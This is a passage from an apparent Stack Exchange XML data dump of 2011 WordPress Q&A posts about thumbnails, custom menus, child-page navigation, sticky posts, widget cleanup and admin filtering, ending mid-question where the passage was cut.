  <row Id="10193" PostTypeId="2" ParentId="10191" CreationDate="2011-02-23T11:05:18.723" Score="1" ViewCount="" Body="&lt;p&gt;So by the sounds of it your having problems with the function the_post_thumbnail. Essentially you just need that to return a URL rather than the image. Give this a try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$src = wp_get_attachment_image_src( get_post_thumbnail_id($loop-&amp;gt;the_ID()), array( 800,600 ), false, '' );&#xA;echo $src[0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set the array(width,height) to your desired image size and echo $src[0] into your href=&quot;--------???????---------&quot; attribute.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2011-02-23T11:05:18.723" CommentCount="1" />
  <row Id="10194" PostTypeId="2" ParentId="10182" CreationDate="2011-02-23T11:20:23.450" Score="0" ViewCount="" Body="&lt;p&gt;You can just use a hidden custom post type, like this plugin here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/log-deprecated-notices&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/log-deprecated-notices&lt;/a&gt; (It's written by core developer Nacin).&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-23T11:20:23.450" CommentCount="6" />
  <row Id="10195" PostTypeId="1" CreationDate="2011-02-23T11:32:08.067" Score="0" ViewCount="157" Body="&lt;p&gt;Wonder if anyone can help ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have developed a wordpress site with custom theme, in a dev enviroment, and I am now in the process of migrating this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken all the wordpress folders and dropped them into the new server space, and imported the DB, updated config, relevant DB references etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is, that all the pages are working apart from the category links. I am just getting a &quot;500 internal server error&quot; on the two menu links I have which point to category sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could be causing this issue? everything was dandy in the dev enviroment, and the majority of pathing was relative in the code, I think I have caught any other occurances of absolute pathing and changed to suit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MRO&lt;/p&gt;&#xA;" LastActivityDate="2011-08-24T06:34:11.123" Title="Category links broken on migration" Tags="&lt;categories&gt;&lt;server&gt;" AnswerCount="1" />
  <row Id="10196" PostTypeId="1" AcceptedAnswerId="10206" CreationDate="2011-02-23T11:39:50.663" Score="1" ViewCount="409" Body="&lt;p&gt;I've been playing around with Wordpress' menu functionality (wp_nav_menu and wp_list_pages) to build a menu for my site. It's coming along, but I'm still having some trouble getting the behaviour I'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like is something like the sidebar menu on this website (not WP): &lt;a href=&quot;http://www.fairfood.org/facts/sustainability-agenda/&quot; rel=&quot;nofollow&quot;&gt;http://www.fairfood.org/facts/sustainability-agenda/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click on a subpage that has children, the menu displays those children:&#xA;&lt;a href=&quot;http://www.fairfood.org/facts/production-chains/&quot; rel=&quot;nofollow&quot;&gt;http://www.fairfood.org/facts/production-chains/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php // sidebar menu&#xA;        if ($post-&amp;gt;post_parent) {&#xA;            $ancestors=get_post_ancestors($post-&amp;gt;ID);&#xA;            $root=count($ancestors)-1;&#xA;            $parent = $ancestors[$root];&#xA;        } else {&#xA;            $parent = $post-&amp;gt;ID;&#xA;        }&#xA;&#xA;        $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;. $parent .&quot;&amp;amp;echo=0&quot;);&#xA;&#xA;        if ($children) { ?&amp;gt;&#xA;        &amp;lt;ul id=&quot;subnav&quot;&amp;gt;&#xA;        &amp;lt;?php echo $children; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, but this shows the children that all the subpages have, not just the children of the current page. An example of what I mean: &lt;a href=&quot;http://test.fairfood.org/facts/&quot; rel=&quot;nofollow&quot;&gt;http://test.fairfood.org/facts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any have any idea to make this work?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-20T20:08:13.170" Title="Navigation menu with children shown only for current page" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="10197" PostTypeId="1" CreationDate="2011-02-23T12:07:31.237" Score="1" ViewCount="99" Body="&lt;p&gt;I'm a wordpress beginner and at the moment struggling to get to grips with custom menus. I have created two menus. Wordpress tells me the theme supports two menus. I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu('menu=services_menu'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I want one menu to appear. I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu('menu=left_navigation'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I want the other menu to appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( function_exists( 'register_nav_menus' ) ) {&#xA;    register_nav_menus(&#xA;        array(&#xA;          'services_menu' =&amp;gt; 'Services menu',&#xA;          'left_navigation' =&amp;gt; 'Left vertical navigation Menu'&#xA;        )&#xA;    );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both menus appear under &quot;Appearance -&gt; menus -&gt;Theme locations&quot; and are associated correctly. But only the services menu ever appears, in both locations. I've read a welter of different solutions to doing this, none of which seem to have any result other than the one described above. Where am I going wrong?&lt;/p&gt;&#xA;" OwnerUserId="3425" LastActivityDate="2011-02-23T13:06:57.947" Title="Can only get one of two custom menus to display" Tags="&lt;custom-menus&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10201" PostTypeId="2" ParentId="10191" CreationDate="2011-02-23T12:56:25.970" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;                    &amp;lt;a rel=&quot;lightbox&quot; href=&quot;&amp;lt;?php $image_id = get_post_thumbnail_id();&#xA;                $image_url = wp_get_attachment_image_src($image_id,'large', true);&#xA;                echo $image_url[0];  ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php the_post_thumbnail('thumbnail'); ?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yeah the above (posted by @null) is correct on getting the url, here it is all put together.  Including the rel=lightbox.  I call to WP's large image size here personally for the lightbox image to be linked to.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;the_post_thumbnail&lt;/a&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;wp_get_attachment_image_src&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-02-23T16:23:08.563" LastActivityDate="2011-02-23T16:23:08.563" CommentCount="7" />
  <row Id="10202" PostTypeId="2" ParentId="10197" CreationDate="2011-02-23T13:06:57.947" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array('menu' =&amp;gt; 'menu name' )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;possibly?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-02-23T13:06:57.947" CommentCount="3" />
  <row Id="10203" PostTypeId="1" CreationDate="2011-02-23T13:20:43.343" Score="2" ViewCount="306" Body="&lt;p&gt;I think the title is self explanitory.&#xA;I would like to show category.php a post I set as sticky post for that category.&lt;br&gt;&#xA;Do you know a good plugin or a code to do this?&lt;br&gt;&#xA;Thanks,&lt;br&gt;&#xA;Sarit&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2011-02-23T16:47:41.613" Title="Sticky post for each category on category pages" Tags="&lt;categories&gt;&lt;sticky-post&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="10204" PostTypeId="2" ParentId="8555" CreationDate="2011-02-23T13:48:00.693" Score="1" ViewCount="" Body="&lt;p&gt;I'm not familiar with the exact way you're doing it. I'm more familiar with the format that Scribu &lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;outlines on his blog&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say you should at least be using quote marks on 'rank' and 'Assistant Professor', but there could be more to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not working out, you could go old school and use a pre 3.1 solution, such as the one I outlined on the &lt;a href=&quot;http://wordpress.org/support/topic/custom-fields-search#post-909384&quot; rel=&quot;nofollow&quot;&gt;WordPress.org Support forum&lt;/a&gt;. That's using an SQL statement with aliases to find posts based on 4 Custom Fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was posted a couple of years ago, so you might want to revise that for security - it should probably be using the prepare command for a start - but the basic concept should still work.&lt;/p&gt;&#xA;" OwnerUserId="2518" LastActivityDate="2011-02-23T13:48:00.693" CommentCount="1" />
  <row Id="10205" PostTypeId="1" AcceptedAnswerId="10212" CreationDate="2011-02-23T13:52:31.867" Score="0" ViewCount="106" Body="&lt;p&gt;The codex says it is depreciated. As a long time plugin user, I know how annoying it is when plugins don't clean up after themselves, is it's deprecation indication that it is necessary? &lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-02-23T16:05:53.263" LastActivityDate="2011-02-28T22:13:09.480" Title="unregister a sidebar widget" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;best-practices&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10206" PostTypeId="2" ParentId="10196" CreationDate="2011-02-23T14:01:47.753" Score="0" ViewCount="" Body="&lt;p&gt;If you dont mind using a plugin I can tell you how I have gotten this to work in the past.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the following code to your functions.php&#xA;&lt;pre&gt;function get_root_parent($page_id) {&#xA;global $wpdb;&#xA;$parent = $wpdb-&gt;get_var(&quot;SELECT post_parent FROM $wpdb-&gt;posts WHERE post_type='page' AND ID = '$page_id'&quot;);&#xA;if ($parent == 0) return $page_id;&#xA;else return get_root_parent($parent);&#xA;}&#xA;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the following to header.php between the close of head and open of body in a php wrapper&#xA;&lt;pre&gt;&#xA;&amp;lt;?php&#xA;$GLOBALS[&quot;parentId&quot;] = get_root_parent($post-&gt;ID);&#xA;?&gt;&#xA;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download and install the fold pages plugin: &lt;a href=&quot;http://www.webspaceworks.com/resources/wordpress/30/&quot; rel=&quot;nofollow&quot;&gt;http://www.webspaceworks.com/resources/wordpress/30/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the following code to your sidebar.php&#xA;&lt;pre&gt;&#xA;&amp;lt;ul&gt;&#xA;&amp;lt;?php&#xA;$thispage = $wp_query-&gt;post;&#xA;if ($thispage-&gt;post_parent!=0) {&#xA;        wswwpx_fold_page_list(&quot;sort_column=menu_order&amp;amp;child_of=&quot;.$GLOBALS[&quot;parentId&quot;].&quot;&amp;amp;title_li=&amp;amp;amp;child_of=&quot;.$thispage-&gt;post_parent);&#xA;      } else {&#xA;        wswwpx_fold_page_list(&quot;sort_column=menu_order&amp;amp;child_of=&quot;.$GLOBALS[&quot;parentId&quot;].&quot;&amp;amp;title_li=&amp;amp;amp;child_of=&quot;.$thispage-&gt;ID);&#xA;      }?&gt;&#xA;    &amp;lt;/ul&gt;&#xA;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-02-23T14:01:47.753" CommentCount="2" />
  <row Id="10207" PostTypeId="2" ParentId="10112" CreationDate="2011-02-23T14:11:10.457" Score="0" ViewCount="" Body="&lt;p&gt;This sends the thumbnail URL as a custom field. It is what I used in the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$itemimage = wp_get_attachment_url(get_post_thumbnail_id($itemID));&#xA;&#xA;__update_post_meta( $the_post_idit, 'productimage', $itemimage); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-23T14:11:10.457" />
  <row Id="10208" PostTypeId="1" CreationDate="2011-02-23T14:20:15.657" Score="0" ViewCount="308" Body="&lt;p&gt;I've created a custom post type for events that uses a custom field to retrieve the date for the event. It works ok and I'm able to filter the displayed results using &lt;code&gt;meta_compare&lt;/code&gt; to compare the date value to the current date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good. I can also filter the admin end to display either future or past events (or both, by removing the &lt;code&gt;meta compare&lt;/code&gt;) via a &lt;code&gt;pre get posts&lt;/code&gt; filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to create an admin page that will display the past events. I've created the page (and menu item) with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'add_concerts_page');&#xA;function add_concerts_page() {&#xA;    add_submenu_page('edit.php?post_type=concerts', 'Concerts Archive', 'Concerts Archive', 'manage_options', 'concerts-archive', 'my_archive_function' );&#xA;}&#xA;&#xA;function my_archive_function() {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to write the function!! I can write a regular loop and filter the results, as I would do on the front-end, but all I need to do is to show the same information as the normal admin page, but showing events that have since passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I filter the custom posts edit screen to show only future events:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function concerts_pre_get_posts($query) {&#xA;  if (is_admin()) {&#xA;    if (isset($query-&amp;gt;query_vars['post_type'])) {&#xA;      if ($query-&amp;gt;query_vars['post_type'] == 'concerts') {&#xA;          $query-&amp;gt;set('meta_key', 'date_value');&#xA;          $query-&amp;gt;set('orderby', 'meta_value');&#xA;          $query-&amp;gt;set('order', 'ASC');&#xA;    $query-&amp;gt;set('meta_compare', '&amp;gt;=');&#xA;          $query-&amp;gt;set('meta_value', time());&#xA;&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;add_filter('pre_get_posts' , 'concerts_pre_get_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't really need to create a separate archive page for past events, just a link to toggle the query from past to future events on this page would be groovy, but I haven't a clue how to go about doing this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-02-23T14:20:15.657" Title="Custom post admin filtering by post meta (the date)" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;date-time&gt;&lt;columns&gt;" CommentCount="1" />
  <row Id="10209" PostTypeId="1" CreationDate="2011-02-23T14:30:01.480" Score="0" ViewCount="75" Body="&lt;p&gt;I have been building a series of theme pages. On one page a users messages (post_type=messages) come in in a tab on the page. The content is displayed in place as is the title etc.... The content is shown again after the closing  on the page. There is no  that would let that happen in the theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore the post_type=bookings that show up in another tab echo the content correctly. But within that loop is another loop that shows the post_type=items showing the configurations of each booking. It then echoes the last item as another booking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the hell is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---- EDIT ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is due to loops within loops. So we need to use the get_posts function instead of query_posts. I have implemented it like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $congigs = get_posts('post_type=items&amp;amp;author='.$current_user-&amp;gt;ID.'&amp;amp;tag='.$bkpostid.'&amp;amp;numberposts=-1');&#xA;                    foreach($congigs as $posts) :  setup_postdata($posts); ?&amp;gt; &amp;lt;li&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There should be 8 of these posts to get and it does get them, however &lt;code&gt;&amp;lt;? the title ?&amp;gt;&lt;/code&gt; is showing 8 copies of the main title of the entire page, not the item post title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas.&#xA;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T23:13:39.177" LastActivityDate="2011-04-24T23:13:39.177" Title="WordPress echoing content in seemingly random place" Tags="&lt;get-posts&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="10210" PostTypeId="2" ParentId="10209" CreationDate="2011-02-23T14:59:03.097" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $congigs = get_posts('post_type=items&amp;amp;author='.$current_user-&amp;gt;ID.'&amp;amp;tag='.$bkpostid.'&amp;amp;numberposts=-1');&#xA;                    foreach($congigs as $posts) :  $title = $posts-&amp;gt;post_title; ?&amp;gt; &amp;lt;li&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-23T14:59:03.097" CommentCount="1" />
  <row Id="10211" PostTypeId="2" ParentId="1567" CreationDate="2011-02-23T15:32:36.010" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Add a Login Link to wp_nav_menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//ADD LOGIN LINK TO MENU&#xA;add_filter('wp_nav_menu_items', 'add_login_logout_link', 10, 2);&#xA;&#xA;function add_login_logout_link($items, $args) { &#xA;&#xA;        $loginoutlink = wp_loginout('index.php', false); &#xA;&#xA;        $items .= '&amp;lt;li&amp;gt;'. $loginoutlink .'&amp;lt;/li&amp;gt;'; &#xA;&#xA;    return $items; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-25T23:54:29.987" LastActivityDate="2011-02-25T23:54:29.987" CommunityOwnedDate="2011-02-23T15:32:36.010" CommentCount="2" />
  <row Id="10212" PostTypeId="2" ParentId="10205" CreationDate="2011-02-23T15:39:31.420" Score="1" ViewCount="" Body="&lt;p&gt;If the theme or plugin that adds a widget or sidebar is removed, then essentially it's removed from the system, what is not cleared out on deactivation/removal is widget data that's stored in the option table(applicable to widgets, not sidebars).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a sidebar is removed, any widgets that were previously in that sidebar i believe get moved into the inactive widgets group, however i can't see WP doing any clean up to remove widget data from the options table(one row in the table per widget if you're curious). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a quick test, commented out all my registered sidebars, verified i couldn't add widgets, i see this on the widget page.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No Sidebars Defined&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The theme you are currently using&#xA;  isn’t widget-aware, meaning that it&#xA;  has no sidebars that you are able to&#xA;  change. For information on making your&#xA;  theme widget-aware, please follow&#xA;  these instructions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I then fire up PhpMyAdmin and check the options table, and can see various widget entries still, eg. &lt;code&gt;widget_categories&lt;/code&gt;, &lt;code&gt;widget_text&lt;/code&gt; and various others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's my impression that only thing you should ever need to clean up is widget data from widgets that may not exist on the installation anymore, ie. data will remain in the options table even when a widget is no longer registered(i also tested unregistering/removing custom widgets i have, the data remained).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Option data is stored with a key based on the class name of the registered widget(this is declared in the &lt;code&gt;$widget_op&lt;/code&gt; variable setup inside constructor function of the given widget class). The keys are basically just prefixed with &lt;code&gt;widget_&lt;/code&gt; and followed by the class name, for example the text widget has the following key in the options table - &lt;code&gt;widget_widget_text&lt;/code&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Correction:&lt;/strong&gt; The key is derived from this part of the widget class registeration code, but prefixed with &lt;code&gt;widget_&lt;/code&gt; (eg. &lt;code&gt;widget_somename&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;WP_Widget('somename', __('Some Name'), $widget_ops, $control_ops);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course it's unlikely you'll know the name of widgets that get removed from the system, i just wanted to be accurate in how the option key names are determined for widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br&gt;&#xA;As per my comment on this answer, i wrote a function to output a list of possibly redundant widget entries in the options table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'load-widgets.php', 'check_for_widget_data' );&#xA;function check_for_widget_data() {&#xA;    add_action( 'admin_notices', 'notify_of_redundant_widgets' );&#xA;}&#xA;function notify_of_redundant_widgets() {&#xA;    global $wp_registered_widgets, $wpdb;&#xA;    $names= array();&#xA;    foreach( $wp_registered_widgets as $instance_key =&amp;gt; $data )&#xA;        $names[] = $data['callback'][0]-&amp;gt;option_name;&#xA;&#xA;    $names = array_unique($names);&#xA;&#xA;    $stored = $wpdb-&amp;gt;get_col(&quot;SELECT option_name FROM $wpdb-&amp;gt;options WHERE option_name LIKE 'widget_%'&quot;);&#xA;&#xA;    sort($names);&#xA;    sort($stored);&#xA;    $diff = array_diff( $stored, $names );&#xA;    if( empty( $diff ) )&#xA;        return;&#xA;&#xA;    echo '&amp;lt;div class=&quot;updated&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Looks like there\'s some left over widget data in the options table.&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;The following rows may now be redundant.&amp;lt;br /&amp;gt;';&#xA;    echo '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;amp;bull; '. implode( '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&amp;amp;bull; ', $diff ) . '&amp;lt;/li&amp;gt;';&#xA;    echo '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Posted incase it's useful to someone..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-28T22:13:09.480" LastActivityDate="2011-02-28T22:13:09.480" CommentCount="1" />
  <row Id="10214" PostTypeId="2" ParentId="9987" CreationDate="2011-02-23T16:40:17.100" Score="-1" ViewCount="" Body="&lt;p&gt;Too less space in a comment: Try the following in your &lt;code&gt;functions.php&lt;/code&gt; file (of your theme). Plugin must be active and within it's own folder inside &lt;code&gt;/root/wp-content/plugins/$folder&lt;/code&gt;. You have to specify the name of your plugin folder inside the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function check_deamon_class() {&#xA;        // check if plugin is active&#xA;        // ENTER NAME OF FOLDER HERE:&#xA;        $folder = 'example_easy_pagination_deamon'; // Enter the name of the folder in which you got the plugin files here&#xA;        $plugin_info = 'The pagination deamon plugin is';&#xA;        $plugin_info .= !is_plugin_active( $folder ) ? ' not active.' : ' active.'; &#xA;        // check if the class can be loaded&#xA;        $class_info = '&amp;lt;br /&amp;gt;';&#xA;        $class_info .= 'The deamon class';&#xA;        $class_info .= !class_exists('PaginationDeamon') ? ' was not found.' : ' was found.';&#xA;        $deamon = new oxoPaginationDeamon;&#xA;        $range = 5;&#xA;        $deamon_test = $deamon-&amp;gt;links( $range );&#xA;        $info = '&amp;lt;div style=&quot;position: absolute; display: block; width: 200px; height: 100px; background-color: #000; color: #fff; top: 0; left: 0;&quot;&amp;gt;&amp;lt;p&amp;gt;'.$plugin_info.$class_info.'&amp;lt;/p&amp;gt;&amp;lt;br /&amp;gt;'.$deamon_test.'&amp;lt;/div&amp;gt;';&#xA;        return print $info;&#xA;    }&#xA;    if ( function_exists('wp_footer') ) {   &#xA;      add_action( 'wp_footer', 'check_deamon_class' ); &#xA;    } &#xA;    else { &#xA;      echo '&amp;lt;div style=&quot;position: absolute; display: block; width: 200px; height: 100px; background-color: #000; color: #fff; top: 0; left: 0;&quot;&amp;gt;&amp;lt;p&amp;gt;Your Theme has no &quot;wp_footer()&quot; hook to attach the test.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tell me what note you receive within a black box with white text in the upper left of your page.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-24T07:16:41.373" LastActivityDate="2011-02-24T07:16:41.373" />
  <row Id="10215" PostTypeId="2" ParentId="10203" CreationDate="2011-02-23T16:47:41.613" Score="1" ViewCount="" Body="&lt;p&gt;I don't think sticky posts 'pop' to the top of an archive (I'm not totally sure) by default&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.mcdspot.com/2011/01/08/sticky-posts-for-categories/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.mcdspot.com/2011/01/08/sticky-posts-for-categories/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a link I came across, maybe some helpful stuff in there.... it's a bit much for me to digest, I'll be honest!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, I keep seeing this plugin come up in related discussions:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/astickypostorderer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/astickypostorderer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure if it works with current Wp as its only rated up to 2.9.2&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-02-23T16:47:41.613" CommentCount="2" />
  <row Id="10216" PostTypeId="2" ParentId="10209" CreationDate="2011-02-23T16:48:42.963" Score="0" ViewCount="" Body="&lt;p&gt;Try writing &lt;code&gt;wp_reset_query();&lt;/code&gt; right after your main loop. You can also try looking into the WP_Query:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// write this at the top of the file  &#xA;global $wp_query;  &#xA;print_r( $wp_query );  &#xA;&#xA;// then try to look at what exactly you're calling:  &#xA;// after $congigs = get_posts(...):  &#xA;print_r( $congigs );&#xA;// inside foreach ( $congigs...&#xA;print_r( $posts );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-23T16:48:42.963" />
  <row Id="10217" PostTypeId="1" AcceptedAnswerId="10218" CreationDate="2011-02-23T16:42:29.477" Score="1" ViewCount="156" Body="&lt;p&gt;Hay, have a basic menu looking like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Item 1&#xA;    Item 1.1&#xA;        Item 1.1.1&#xA;        Item 1.1.2&#xA;    Item 1.2&#xA;Item 2&#xA;    Item 2.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm outputting this as a list using WordPresses &quot;wp_list_pages()&quot; function. This is working fine. However on the pages, i am list the subpages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when I'm on page &quot;Item 1.1&quot; it says &quot;Other pages&quot; and lists &quot;Item 1.1.1&quot; and &quot;Item 1.1.2&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_pages( array('child_of'=&amp;gt;get_the_ID(),'title_li'=&amp;gt;'') ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i only want this to output &quot;other pages&quot; on the subpage. I don't want to display the &quot;other pages&quot; on the top level pages (like &quot;Item 1, Item 